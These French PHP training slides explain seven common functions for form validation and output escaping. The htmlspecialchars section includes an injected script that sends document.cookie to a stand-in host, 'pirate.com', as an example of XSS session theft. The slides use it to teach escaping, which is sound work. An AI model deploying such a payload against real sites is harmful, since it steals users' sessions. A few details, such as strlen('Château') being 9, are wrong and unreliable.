🔧 Fonctions PHP

Guide Détaillé avec Explications

Les 30 fonctions essentielles VRAIMENT expliquées

Formation DWWM - 2025-2026

Au programme 📋

30 fonctions expliquées en détail :

  • 🔍 Vérifications : isset, empty, is_numeric...
  • 📝 Chaînes : strlen, trim, explode...
  • 📋 Tableaux : count, in_array, array_push...
  • 📅 Dates : date, time, strtotime...
  • 🛡️ Sécurité : htmlspecialchars, password_hash...
  • 🔧 Divers : header, json_encode...
💡 Chaque fonction = Explication + Pourquoi + Comment + Exemples + Pièges

1️⃣ isset() - Vérifier l'existence 🔍

isset($variable)
Vérifie si une variable existe ET n'est pas NULL

isset() - Ce que ça fait 💡

isset() répond à la question : "Est-ce que cette variable existe dans la mémoire de PHP ?"

🤔 Pourquoi c'est important ?
En PHP, utiliser une variable qui n'existe pas génère une erreur. isset() permet de vérifier AVANT d'utiliser la variable.

Analogie : C'est comme demander "Est-ce qu'il y a quelque chose dans ce tiroir ?" avant de chercher dedans.

Mémoire PHP : ┌─────────────────┐ │ $nom = "Marie" │ ← isset($nom) = TRUE (existe) ├─────────────────┤ │ $age = 25 │ ← isset($age) = TRUE (existe) ├─────────────────┤ │ (rien) │ ← isset($inconnu) = FALSE (n'existe pas) └─────────────────┘

isset() - Comment ça marche ⚙️

<?php
// isset() retourne TRUE ou FALSE

$nom = "Marie";
isset($nom);        // TRUE (la variable existe)

isset($inconnu);    // FALSE (jamais déclarée)

$test = NULL;
isset($test);       // FALSE (existe mais = NULL)
?>
Règle :
✅ TRUE si : Variable déclarée ET différente de NULL
❌ FALSE si : Variable jamais déclarée OU = NULL

isset() - Cas d'usage principal 🎯

Utilisation #1 : Vérifier $_GET / $_POST

<?php
// URL : page.php?nom=Marie

// ❌ DANGEREUX - Erreur si 'nom' n'existe pas
echo $_GET['nom'];  // Warning: Undefined array key "nom"

// ✅ SÉCURISÉ - Vérifier avant d'utiliser
if (isset($_GET['nom'])) {
    echo "Bonjour " . $_GET['nom'];
} else {
    echo "Nom non fourni";
}
?>
💡 Astuce moderne : Utilisez l'opérateur ?? (coalescence)
$nom = $_GET['nom'] ?? 'Visiteur';

isset() - Tous les cas possibles 📊

<?php
// CAS 1 : Variable avec valeur
$nom = "Marie";
isset($nom);           // ✅ TRUE

// CAS 2 : Variable = 0
$compteur = 0;
isset($compteur);      // ✅ TRUE (0 est une valeur !)

// CAS 3 : Variable = false
$actif = false;
isset($actif);         // ✅ TRUE (false est une valeur !)

// CAS 4 : Variable = chaîne vide
$texte = "";
isset($texte);         // ✅ TRUE ("" est une valeur !)

// CAS 5 : Variable = NULL
$test = NULL;
isset($test);          // ❌ FALSE (NULL = n'existe pas pour isset)

// CAS 6 : Variable jamais déclarée
isset($inconnu);       // ❌ FALSE

// CAS 7 : Variable supprimée
$temp = "test";
unset($temp);
isset($temp);          // ❌ FALSE (n'existe plus)
?>

isset() - Utilisation avec tableaux 📋

<?php
// Vérifier une clé de tableau
$user = [
    'nom' => 'Dupont',
    'prenom' => 'Marie'
    // Pas de 'age'
];

// Vérifier si la clé existe
if (isset($user['nom'])) {
    echo $user['nom'];  // "Dupont"
}

if (isset($user['age'])) {
    echo $user['age'];  // Jamais exécuté
} else {
    echo "Âge non renseigné";
}

// Vérifier plusieurs clés en même temps
if (isset($user['nom'], $user['prenom'])) {
    echo "Nom complet : " . $user['prenom'] . " " . $user['nom'];
}

// Équivalent à :
if (isset($user['nom']) && isset($user['prenom'])) {
    // ...
}
?>

isset() - Pièges à éviter ⚠️

PIÈGE #1 : isset() avec 0 ou false
$age = 0;  // L'utilisateur a 0 ans (bébé)

if (isset($age)) {
    echo "Âge renseigné";  // ✅ Affiché (0 est une valeur)
}

// Si vous voulez vérifier que ce n'est pas 0
if (isset($age) && $age > 0) {
    echo "Âge valide";
}
PIÈGE #2 : Confondre avec empty()
$nom = "";

isset($nom);   // TRUE (existe)
empty($nom);   // TRUE (vide)

// isset() = "Existe ?"
// empty() = "Est vide ?"

isset() - Quand l'utiliser ? ✅

✅ Utilisez isset() pour :
  • Vérifier $_GET, $_POST, $_COOKIE
  • Vérifier $_SESSION (connexion utilisateur)
  • Vérifier les clés de tableaux
  • Vérifier qu'une variable a été définie
❌ N'utilisez PAS isset() pour :
  • Vérifier si une chaîne est vide → empty()
  • Valider un formulaire → empty() + autres validations
  • Vérifier un type → is_string(), is_numeric()...

2️⃣ empty() - Vérifier si vide 🔍

empty($variable)
Vérifie si une variable est considérée comme "vide"

empty() - Ce que ça fait 💡

empty() répond à la question : "Est-ce que cette variable est vide ou n'existe pas ?"

🤔 Pourquoi c'est important ?
Valider des formulaires ! On veut savoir si l'utilisateur a rempli un champ, pas juste s'il existe.

Analogie : C'est comme regarder une boîte et demander "Est-ce que cette boîte est vide ?"

Valeurs considérées comme VIDES : ┌──────────────────────────────┐ │ "" (chaîne vide) │ ← empty() = TRUE │ 0 (zéro) │ ← empty() = TRUE │ "0" (chaîne "0") │ ← empty() = TRUE │ NULL │ ← empty() = TRUE │ false │ ← empty() = TRUE │ [] (tableau vide) │ ← empty() = TRUE │ Variable non définie │ ← empty() = TRUE └──────────────────────────────┘ Valeurs NON vides : ┌──────────────────────────────┐ │ "texte" │ ← empty() = FALSE │ 42 │ ← empty() = FALSE │ true │ ← empty() = FALSE │ [1, 2, 3] │ ← empty() = FALSE └──────────────────────────────┘

empty() - Tous les cas 📊

<?php
// VIDES (empty() = TRUE)
empty("");              // TRUE - Chaîne vide
empty(0);               // TRUE - Zéro
empty("0");             // TRUE - Chaîne "0"
empty(NULL);            // TRUE - NULL
empty(false);           // TRUE - false
empty([]);              // TRUE - Tableau vide
empty($nonDefinie);     // TRUE - Variable non définie

// NON VIDES (empty() = FALSE)
empty("texte");         // FALSE - A du contenu
empty(42);              // FALSE - Nombre différent de 0
empty(true);            // FALSE - true
empty([1, 2]);          // FALSE - Tableau avec contenu
empty("   ");           // FALSE - Espaces (c'est du contenu)
empty(-1);              // FALSE - Nombre négatif

// ⚠️ ATTENTION
$age = 0;  // Âge = 0 ans (bébé)
empty($age);            // TRUE (problème !)

$nom = "   ";  // Que des espaces
empty($nom);            // FALSE (espaces = contenu)
empty(trim($nom));      // TRUE (après trim)
?>

empty() - Validation de formulaires 📝

C'est l'usage PRINCIPAL de empty() !

<?php
// Formulaire soumis
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $erreurs = [];
    
    // Vérifier l'email
    $email = $_POST['email'] ?? '';
    if (empty($email)) {
        $erreurs[] = "L'email est obligatoire";
    }
    
    // Vérifier le mot de passe
    $password = $_POST['password'] ?? '';
    if (empty($password)) {
        $erreurs[] = "Le mot de passe est obligatoire";
    }
    
    // Vérifier le nom
    $nom = trim($_POST['nom'] ?? '');  // trim() important !
    if (empty($nom)) {
        $erreurs[] = "Le nom est obligatoire";
    }
    
    // Si pas d'erreurs
    if (empty($erreurs)) {
        echo "Formulaire valide !";
        // Traiter les données...
    } else {
        // Afficher les erreurs
        foreach ($erreurs as $erreur) {
            echo "<p style='color:red;'>$erreur</p>";
        }
    }
}
?>

empty() vs isset() - La différence 🆚

Valeur isset() empty() Explication
$x = "texte" ✅ TRUE ❌ FALSE Existe et pas vide
$x = "" ✅ TRUE ✅ TRUE Existe mais vide
$x = 0 ✅ TRUE ✅ TRUE Existe mais = 0
$x = false ✅ TRUE ✅ TRUE Existe mais = false
$x = NULL ❌ FALSE ✅ TRUE NULL = vide pour les 2
Non définie ❌ FALSE ✅ TRUE N'existe pas
💡 Règle simple :
isset() = "Existe ?"
empty() = "Est vide ?"

empty() - Pièges à éviter ⚠️

PIÈGE #1 : empty() avec 0
$age = 0;  // Bébé de 0 ans

if (empty($age)) {
    echo "Âge non renseigné";  // ❌ FAUX ! 0 est une valeur
}

// Solution :
if (!isset($age) || $age === '') {
    echo "Âge non renseigné";
}
PIÈGE #2 : empty() avec espaces
$nom = "   ";  // Que des espaces

empty($nom);         // FALSE (espaces = contenu)
empty(trim($nom));   // TRUE (vide après trim)

// ✅ Toujours trim() avant empty()
$nom = trim($_POST['nom'] ?? '');
if (empty($nom)) {
    $erreur = "Nom obligatoire";
}

empty() - Quand l'utiliser ? ✅

✅ Utilisez empty() pour :
  • Valider des formulaires (champs requis)
  • Vérifier si un tableau a des éléments
  • Vérifier si une chaîne a du contenu
  • Savoir si une variable a une "vraie" valeur
Exemples pratiques :
// Champ requis
if (empty($email)) {
    $erreur = "Email requis";
}

// Tableau vide
if (empty($panier)) {
    echo "Votre panier est vide";
}

// Recherche
if (!empty($_GET['search'])) {
    $recherche = $_GET['search'];
    // Effectuer la recherche...
}

3️⃣ strlen() - Longueur d'une chaîne 📏

strlen($string)
Retourne le nombre de caractères dans une chaîne

strlen() - Ce que ça fait 💡

strlen() répond à la question : "Combien de caractères contient ce texte ?"

🤔 Pourquoi c'est important ?
Pour valider : mots de passe (min 8 caractères), tweets (max 280), etc.
Exemple : "Marie" ↓ ↓ ↓ ↓ ↓ M a r i e Position: 0 1 2 3 4 └─────────┘ 5 caractères strlen("Marie") = 5
<?php
$nom = "Marie";
$longueur = strlen($nom);
echo $longueur;  // 5

// Chaque caractère compte (y compris espaces)
$texte = "Bonjour tout le monde";
echo strlen($texte);  // 21 (espaces comptés)
?>

strlen() - Validation de formulaires 📝

Usage principal : Vérifier la longueur des champs

<?php
// Mot de passe minimum 8 caractères
$password = $_POST['password'] ?? '';

if (strlen($password) < 8) {
    $erreur = "Le mot de passe doit faire au moins 8 caractères";
    echo $erreur;
}

// Pseudo entre 3 et 20 caractères
$pseudo = $_POST['pseudo'] ?? '';

if (strlen($pseudo) < 3) {
    $erreur = "Pseudo trop court (min 3 caractères)";
} elseif (strlen($pseudo) > 20) {
    $erreur = "Pseudo trop long (max 20 caractères)";
} else {
    echo "Pseudo valide !";
}

// Message Twitter (280 caractères max)
$tweet = $_POST['message'] ?? '';

if (strlen($tweet) > 280) {
    $erreur = "Message trop long (" . strlen($tweet) . "/280)";
}

// Afficher le compteur
echo "Caractères : " . strlen($tweet) . " / 280";
?>

strlen() - Vérifier si vide 🔍

<?php
// Vérifier si une chaîne est vide
$message = $_POST['message'] ?? '';

// Méthode 1 : strlen()
if (strlen($message) === 0) {
    echo "Message vide";
}

// Méthode 2 : empty() (plus simple)
if (empty($message)) {
    echo "Message vide";
}

// ⚠️ ATTENTION : trim() d'abord !
$message = "   ";  // Que des espaces

strlen($message);              // 3 (compte les espaces)
strlen(trim($message));        // 0 (vide après suppression)

// ✅ BONNE PRATIQUE
$message = trim($_POST['message'] ?? '');
if (strlen($message) === 0) {
    echo "Message vide";
}

// Ou encore mieux :
if (empty(trim($message))) {
    echo "Message vide";
}
?>

strlen() - Avec les accents ⚠️

PROBLÈME avec les accents UTF-8
$mot = "été";

strlen($mot);     // 5 (FAUX) car UTF-8
mb_strlen($mot);  // 3 (CORRECT)

// Explication
// é = 2 octets en UTF-8
// "été" = e(1) + t(1) + é(2) = 4 octets + 1 = 5
✅ Solution : mb_strlen()
// Si vous avez des accents
$texte = "Château";

strlen($texte);      // 9 (compte les octets)
mb_strlen($texte);   // 7 (compte les caractères)

// ✅ Utilisez mb_strlen() pour UTF-8
$password = "Motdepàssé";  // Avec accents

if (mb_strlen($password) < 8) {
    echo "Trop court";
}

strlen() - Cas pratiques 🎯

<?php
// 1. Tronquer un texte long
$description = "Un très long texte qui doit être raccourci...";

if (strlen($description) > 100) {
    // Garder 97 caractères + "..."
    $description = substr($description, 0, 97) . "...";
}

// 2. Compteur de caractères en temps réel (avec JavaScript)
?>
<textarea id="message" maxlength="280"></textarea>
<p>Caractères : <span id="count">0</span> / 280</p>

<script>
document.getElementById('message').addEventListener('input', function() {
    document.getElementById('count').textContent = this.value.length;
});
</script>

<?php
// 3. Validation nom (entre 2 et 50 caractères)
$nom = trim($_POST['nom'] ?? '');

if (strlen($nom) < 2 || strlen($nom) > 50) {
    $erreur = "Le nom doit faire entre 2 et 50 caractères";
}

// 4. Vérifier si contient du texte (pas que des espaces)
$message = trim($_POST['message'] ?? '');

if (strlen($message) > 0) {
    echo "Message contient du texte";
}
?>

4️⃣ trim() - Supprimer les espaces ✂️

trim($string)
Supprime les espaces (et autres caractères blancs) au début et à la fin

trim() - Ce que ça fait 💡

trim() répond à la question : "Enlève les espaces inutiles au début et à la fin"

🤔 Pourquoi c'est important ?
Les utilisateurs mettent souvent des espaces par erreur dans les formulaires !
AVANT trim() : " Marie " ^^^ ^^^ Espaces à supprimer APRÈS trim() : "Marie"
<?php
$nom = "   Marie   ";

echo strlen($nom);         // 11 (avec espaces)
echo strlen(trim($nom));   // 5 (sans espaces)

echo trim($nom);           // "Marie"
?>

trim() - Ce qui est supprimé 🧹

trim() supprime ces caractères :

  • Espace : " "
  • Tabulation : "\t"
  • Retour à la ligne : "\n"
  • Retour chariot : "\r"
  • NULL byte : "\0"
  • Saut de ligne vertical : "\x0B"
<?php
$texte = "  \t  Bonjour  \n  ";
echo trim($texte);  // "Bonjour"

// Variantes
$texte = "  Bonjour  ";

ltrim($texte);   // "Bonjour  " (Left = gauche seulement)
rtrim($texte);   // "  Bonjour" (Right = droite seulement)
trim($texte);    // "Bonjour" (les deux côtés)
?>

trim() - Usage ESSENTIEL avec formulaires 📝

TOUJOURS trim() les données de formulaires !

<?php
// ❌ SANS trim() - PROBLÈME
$email = $_POST['email'] ?? '';  // "  marie@mail.com  "

if (empty($email)) {
    // Ne détecte PAS le problème (espaces = contenu)
}

// ✅ AVEC trim() - CORRECT
$email = trim($_POST['email'] ?? '');  // "marie@mail.com"

if (empty($email)) {
    $erreur = "Email obligatoire";
}

// Exemple complet
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // ✅ TOUJOURS trim() d'abord
    $nom = trim($_POST['nom'] ?? '');
    $prenom = trim($_POST['prenom'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $message = trim($_POST['message'] ?? '');
    
    // Puis valider
    if (empty($nom)) {
        $erreurs[] = "Nom obligatoire";
    }
    
    if (empty($email)) {
        $erreurs[] = "Email obligatoire";
    }
}
?>

trim() - Cas pratiques 🎯

<?php
// 1. Nettoyer avant sauvegarde en BDD
$nom = trim($_POST['nom'] ?? '');
$email = trim($_POST['email'] ?? '');

$stmt = $pdo->prepare("INSERT INTO users (nom, email) VALUES (?, ?)");
$stmt->execute([$nom, $email]);

// 2. Comparaison de chaînes
$input = trim($_POST['code']);
$codeValide = "PROMO2024";

if ($input === $codeValide) {
    echo "Code valide";
}
// Sans trim(), "  PROMO2024  " !== "PROMO2024"

// 3. Enlever d'autres caractères
$url = "https://example.com///";
echo trim($url, '/');  // "https://example.com"

$phone = "---01-23-45-67-89---";
echo trim($phone, '-');  // "01-23-45-67-89"

// 4. Vérifier si vraiment vide
$message = "   ";  // Que des espaces

if (empty($message)) {
    // FALSE (espaces = contenu)
}

if (empty(trim($message))) {
    // TRUE (vide après trim)
}
?>

trim() - Règle d'or ⚠️

🔴 RÈGLE ABSOLUE 🔴

TOUJOURS trim() les données de formulaires

$nom = trim($_POST['nom'] ?? '');
💡 Ordre des opérations :
  1. Récupérer la donnée
  2. trim() pour enlever les espaces
  3. empty() ou strlen() pour valider
  4. Autres validations (email, format...)

5️⃣ count() - Compter les éléments 🔢

count($array)
Retourne le nombre d'éléments dans un tableau

count() - Ce que ça fait 💡

count() répond à la question : "Combien y a-t-il d'éléments dans ce tableau ?"

🤔 Pourquoi c'est important ?
Pour savoir si un panier est vide, combien de résultats, vérifier la taille...
Tableau : ["Pomme", "Banane", "Orange"] ↓ ↓ ↓ Index 0 Index 1 Index 2 └─────────────────────────┘ 3 éléments count(["Pomme", "Banane", "Orange"]) = 3
<?php
$fruits = ["Pomme", "Banane", "Orange"];
$nbFruits = count($fruits);
echo $nbFruits;  // 3

// Tableau vide
$vide = [];
echo count($vide);  // 0
?>

count() - Tableaux indexés et associatifs 📋

<?php
// Tableau indexé
$fruits = ["Pomme", "Banane", "Orange"];
echo count($fruits);  // 3

// Tableau associatif
$utilisateur = [
    'nom' => 'Dupont',
    'prenom' => 'Marie',
    'age' => 25,
    'ville' => 'Paris'
];
echo count($utilisateur);  // 4 (compte les paires clé-valeur)

// Tableau multidimensionnel
$produits = [
    ['nom' => 'Produit 1', 'prix' => 10],
    ['nom' => 'Produit 2', 'prix' => 20],
    ['nom' => 'Produit 3', 'prix' => 30]
];
echo count($produits);  // 3 (éléments au premier niveau)

// Compter récursivement (tous les niveaux)
$data = [
    'user1' => ['nom' => 'Dupont', 'age' => 25],
    'user2' => ['nom' => 'Martin', 'age' => 30]
];

echo count($data);                     // 2 (premier niveau)
echo count($data, COUNT_RECURSIVE);    // 6 (tous niveaux)
//    2 clés principales + 4 sous-clés = 6
?>

count() - Vérifier si vide 🔍

<?php
$panier = [];

// Méthode 1 : count()
if (count($panier) === 0) {
    echo "Panier vide";
}

// Méthode 2 : empty() (recommandé)
if (empty($panier)) {
    echo "Panier vide";
}

// Afficher le nombre d'articles
$panier = [
    ['id' => 1, 'nom' => 'Produit 1'],
    ['id' => 2, 'nom' => 'Produit 2']
];

$nbArticles = count($panier);
echo "Panier : $nbArticles article(s)";  // "Panier : 2 article(s)"

// Vérifier s'il y a des résultats
$resultats = [];  // Résultat d'une recherche

if (count($resultats) === 0) {
    echo "Aucun résultat trouvé";
} else {
    echo count($resultats) . " résultat(s) trouvé(s)";
}
?>

count() - Cas pratiques 🎯

<?php
// 1. Panier d'achat
$_SESSION['panier'] = [
    ['id' => 1, 'nom' => 'Ordinateur', 'prix' => 899],
    ['id' => 2, 'nom' => 'Souris', 'prix' => 25]
];

$nbArticles = count($_SESSION['panier']);
echo "<span class='badge'>$nbArticles</span>";  // Badge sur l'icône panier

// 2. Pagination
$totalArticles = 47;  // Nombre total d'articles
$parPage = 10;

$totalPages = ceil($totalArticles / $parPage);  // 5 pages
echo "Pages : $totalPages";

// 3. Afficher les résultats
$users = [/* ... résultats BDD ... */];

if (count($users) === 0) {
    echo "Aucun utilisateur trouvé";
} else {
    echo count($users) . " utilisateur(s) trouvé(s)";
    
    foreach ($users as $user) {
        echo "<li>" . $user['nom'] . "</li>";
    }
}

// 4. Valider un formulaire multi-choix
$langues = $_POST['langues'] ?? [];  // Checkboxes

if (count($langues) < 1) {
    $erreur = "Veuillez sélectionner au moins une langue";
}
?>

count() vs empty() 🆚

Situation count() empty() Recommandé
Vérifier si vide count($arr) === 0 empty($arr) ✅ empty()
Afficher le nombre count($arr) ❌ ✅ count()
Vérifier minimum count($arr) >= 2 ❌ ✅ count()
Boucle avec compteur count($arr) ❌ ✅ count()
// Vérifier si vide
if (empty($panier)) { }      // ✅ Plus simple
if (count($panier) === 0) { } // ✅ Marche aussi

// Afficher le nombre
echo count($resultats) . " résultats";  // ✅ Obligatoire

// Minimum d'éléments
if (count($selection) < 2) {
    $erreur = "Sélectionnez au moins 2 items";
}

6️⃣ htmlspecialchars() - Sécurité XSS 🛡️

htmlspecialchars($string, ENT_QUOTES, 'UTF-8')
Convertit les caractères spéciaux HTML en entités HTML

htmlspecialchars() - Ce que ça fait 💡

htmlspecialchars() répond à la question : "Comment afficher du texte utilisateur sans risque ?"

🤔 Pourquoi c'est CRITIQUE ?
Pour empêcher les attaques XSS (Cross-Site Scripting) !
Sans ça, un pirate peut injecter du code JavaScript malveillant.
SANS htmlspecialchars() : ┌────────────────────────────────────┐ │ Utilisateur entre : │ │ <script>alert('Piraté')</script> │ │ │ │ Affichage : │ │ JavaScript s'EXÉCUTE ! ❌ │ │ → Popup "Piraté" │ └────────────────────────────────────┘ AVEC htmlspecialchars() : ┌────────────────────────────────────┐ │ Utilisateur entre : │ │ <script>alert('Piraté')</script> │ │ │ │ Transformé en : │ │ &lt;script&gt;...&lt;/script&gt; │ │ │ │ Affichage : │ │ Texte affiché, pas exécuté ✅ │ └────────────────────────────────────┘

htmlspecialchars() - Comment ça marche ⚙️

Transformations effectuées :

Caractère Devient Nom
< &lt; Inférieur à
> &gt; Supérieur à
" &quot; Guillemet double
' &#039; Guillemet simple
& &amp; Esperluette
<?php
$texte = "<script>alert('XSS')</script>";

// Sans protection
echo $texte;  // ❌ JavaScript s'exécute !

// Avec protection
echo htmlspecialchars($texte);
// Affiche : &lt;script&gt;alert('XSS')&lt;/script&gt;
// Le navigateur affiche le texte, ne l'exécute pas
?>

htmlspecialchars() - QUAND l'utiliser 🎯

🔴 RÈGLE ABSOLUE 🔴
TOUJOURS htmlspecialchars() pour afficher des données utilisateur
<?php
// ✅ TOUJOURS protéger l'affichage
$nom = $_POST['nom'] ?? '';
?>

<!-- Dans le HTML -->
<h1>Bonjour <?= htmlspecialchars($nom) ?></h1>

<!-- Dans un attribut -->
<input type="text" value="<?= htmlspecialchars($nom) ?>">

<!-- Dans une classe CSS -->
<div class="<?= htmlspecialchars($classe) ?>">...</div>

<!-- Dans un lien -->
<a href="page.php?nom=<?= htmlspecialchars($nom) ?>">Lien</a>

<?php
// Syntaxe complète (recommandée)
echo htmlspecialchars($nom, ENT_QUOTES, 'UTF-8');
//                           ↑           ↑
//                     Protège aussi    Encodage
//                     les guillemets   UTF-8
?>

htmlspecialchars() - Fonction raccourcie 💡

Créer une fonction courte pour taper moins :

<?php
// Fonction helper
function e($text) {
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

// Utilisation
$nom = "<script>alert('XSS')</script>";
$email = "marie@mail.com";
$message = "Message de l'utilisateur";
?>

<!DOCTYPE html>
<html>
<body>
    <!-- ✅ Beaucoup plus court ! -->
    <h1>Profil de <?= e($nom) ?></h1>
    <p>Email : <?= e($email) ?></p>
    <p>Message : <?= e($message) ?></p>
    
    <!-- Dans un formulaire -->
    <input type="text" value="<?= e($nom) ?>">
    
    <!-- Dans un attribut -->
    <div class="user-<?= e($userId) ?>">...</div>
</body>
</html>
💡 La fonction e() est un standard dans beaucoup de frameworks (Laravel, Symfony...)

htmlspecialchars() - Exemple d'attaque XSS 💀

Ce qui se passe SANS protection :

<!-- formulaire.php -->
<form method="POST">
    <input type="text" name="nom">
    <button>Envoyer</button>
</form>

<?php
// ❌ DANGEREUX - Pas de protection
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $nom = $_POST['nom'];
    echo "<h1>Bonjour $nom</h1>";
}
?>

Un pirate entre :

<script>
// Voler les cookies (session)
var cookies = document.cookie;
fetch('http://pirate.com/steal.php?data=' + cookies);
</script>

Résultat : Le JavaScript s'exécute ! Le pirate vole la session. 💀

✅ SOLUTION :
// ✅ SÉCURISÉ
$nom = $_POST['nom'] ?? '';
echo "<h1>Bonjour " . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</h1>";

// Le <script> est affiché comme du texte, pas exécuté

htmlspecialchars() - OÙ utiliser ⚠️

✅ TOUJOURS utiliser pour :
  • Afficher du texte utilisateur dans HTML
  • Valeurs d'attributs HTML (value="", class="")
  • Contenu de balises (<h1>, <p>, <div>)
  • Titres de pages (<title>)
  • Données dans <textarea>
❌ NE PAS utiliser pour :
  • Avant insertion en base de données (utilisez prepared statements)
  • Comparaisons en PHP (comparez les données brutes)
  • Opérations mathématiques
  • Logs internes
💡 Règle simple : Protégez à la SORTIE (affichage), pas à l'entrée

7️⃣ explode() / implode() - Découper/Joindre 🧩

explode($separateur, $string) = String → Array
implode($separateur, $array) = Array → String

explode() - Découper une chaîne ✂️

explode() répond à la question : "Comment transformer ce texte en tableau ?"

🤔 Pourquoi c'est utile ?
Pour découper : tags séparés par virgules, dates (JJ/MM/AAAA), CSV...
Chaîne : "php,html,css,javascript" ↓ explode(",", ...) ↓ Tableau : ["php", "html", "css", "javascript"]
<?php
// Exemple simple
$tags = "php,html,css,javascript";
$tableau = explode(",", $tags);

print_r($tableau);
// Array
// (
//     [0] => php
//     [1] => html
//     [2] => css
//     [3] => javascript
// )

// Utiliser le résultat
foreach ($tableau as $tag) {
    echo "<span class='tag'>$tag</span> ";
}
?>

explode() - Cas pratiques 🎯

<?php
// 1. Découper une date
$date = "2024-12-30";
$parties = explode("-", $date);

$annee = $parties[0];  // "2024"
$mois = $parties[1];   // "12"
$jour = $parties[2];   // "30"

// Ou avec list()
list($annee, $mois, $jour) = explode("-", $date);
echo "$jour/$mois/$annee";  // "30/12/2024"

// 2. Tags d'un article
$tagsString = "php,symfony,formation,dwwm";
$tagsArray = explode(",", $tagsString);

// Afficher chaque tag
foreach ($tagsArray as $tag) {
    echo "<a href='tag.php?t=$tag'>#$tag</a> ";
}

// 3. Limiter le nombre de divisions
$texte = "un:deux:trois:quatre:cinq";
$parts = explode(":", $texte, 3);
// ["un", "deux", "trois:quatre:cinq"]
//                └────────────────┘
//                  Pas découpé

// 4. CSV simple
$ligne = "Marie,Dupont,25,Paris";
$colonnes = explode(",", $ligne);

$prenom = $colonnes[0];  // "Marie"
$nom = $colonnes[1];     // "Dupont"
$age = $colonnes[2];     // "25"
$ville = $colonnes[3];   // "Paris"
?>

implode() - Joindre un tableau 🔗

implode() répond à la question : "Comment transformer ce tableau en texte ?"

Tableau : ["Marie", "Jean", "Sophie"] ↓ implode(", ", ...) ↓ Chaîne : "Marie, Jean, Sophie"
<?php
// Exemple simple
$prenoms = ["Marie", "Jean", "Sophie"];
$texte = implode(", ", $prenoms);

echo $texte;  // "Marie, Jean, Sophie"

// Changer le séparateur
echo implode(" - ", $prenoms);  // "Marie - Jean - Sophie"
echo implode(" / ", $prenoms);  // "Marie / Jean / Sophie"
echo implode("", $prenoms);     // "MarieJeanSophie"

// join() est un alias de implode()
$texte = join(", ", $prenoms);  // Identique
?>

implode() - Cas pratiques 🎯

<?php
// 1. Construire une requête SQL IN()
$ids = [1, 5, 12, 23, 45];
$idsString = implode(",", $ids);

$sql = "SELECT * FROM users WHERE id IN ($idsString)";
// SELECT * FROM users WHERE id IN (1,5,12,23,45)

// 2. Afficher une liste de tags
$tags = ["php", "html", "css"];
echo "Tags : " . implode(", ", $tags);
// "Tags : php, html, css"

// 3. Créer un fil d'Ariane (breadcrumb)
$chemin = ["Accueil", "Produits", "Ordinateurs", "Portable"];
echo implode(" > ", $chemin);
// "Accueil > Produits > Ordinateurs > Portable"

// 4. Sauvegarder des tags en BDD
$tagsArray = ["php", "symfony", "formation"];
$tagsString = implode(",", $tagsArray);

// Sauvegarder $tagsString dans la colonne "tags"
$stmt = $pdo->prepare("INSERT INTO articles (titre, tags) VALUES (?, ?)");
$stmt->execute([$titre, $tagsString]);

// 5. Liste HTML
$items = ["Pomme", "Banane", "Orange"];
echo "<ul><li>" . implode("</li><li>", $items) . "</li></ul>";
// <ul><li>Pomme</li><li>Banane</li><li>Orange</li></ul>
?>

explode() + implode() - Ensemble 🔄

Souvent utilisés ensemble pour transformer :

<?php
// 1. Changer le séparateur
$date = "2024-12-30";
$parts = explode("-", $date);       // ["2024", "12", "30"]
$nouvDate = implode("/", $parts);   // "2024/12/30"

// Ou en une ligne
$nouvDate = implode("/", explode("-", $date));

// 2. Nettoyer des tags
$tagsInput = "php, html,  css  , javascript";

// Découper
$tagsArray = explode(",", $tagsInput);

// Nettoyer chaque tag
$tagsArray = array_map('trim', $tagsArray);
// ["php", "html", "css", "javascript"]

// Rejoindre
$tagsPropres = implode(",", $tagsArray);
// "php,html,css,javascript"

// 3. Remplacer dans une liste
$texte = "Marie,Jean,Sophie";

// Remplacer "Jean" par "Paul"
$tableau = explode(",", $texte);
$index = array_search("Jean", $tableau);
$tableau[$index] = "Paul";
$texte = implode(",", $tableau);
// "Marie,Paul,Sophie"
?>

🎯 Récapitulatif

Les 7 fonctions détaillées :

Fonction Utilité Exemple
isset() Variable existe ? isset($_GET['id'])
empty() Variable vide ? empty($nom)
strlen() Longueur texte strlen($password) < 8
trim() Enlever espaces trim($_POST['nom'])
count() Compter éléments count($panier)
htmlspecialchars() Sécurité XSS e($nom)
explode() / implode() Découper/Joindre explode(",", $tags)

🔴 Les règles d'or 🔴

  1. TOUJOURS trim() les données de formulaires
  2. TOUJOURS htmlspecialchars() pour l'affichage
  3. TOUJOURS isset() avant d'utiliser $_GET / $_POST
  4. TOUJOURS valider avec empty() + strlen()
// Template parfait
$nom = trim($_POST['nom'] ?? '');

if (empty($nom)) {
    $erreur = "Nom obligatoire";
} elseif (strlen($nom) < 2) {
    $erreur = "Nom trop court";
} else {
    echo "<h1>" . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</h1>";
}

📚 Pour aller plus loin

D'autres fonctions importantes à découvrir :

  • in_array() - Vérifier présence dans tableau
  • date() - Formater des dates
  • time() - Timestamp actuel
  • password_hash() - Hasher mots de passe
  • json_encode() / json_decode() - Travailler avec JSON
  • header() - Redirection et headers HTTP
  • filter_var() - Valider email, URL...

Merci ! 👏

Des questions ?

💡 Ces 7 fonctions = 50% de votre code PHP quotidien !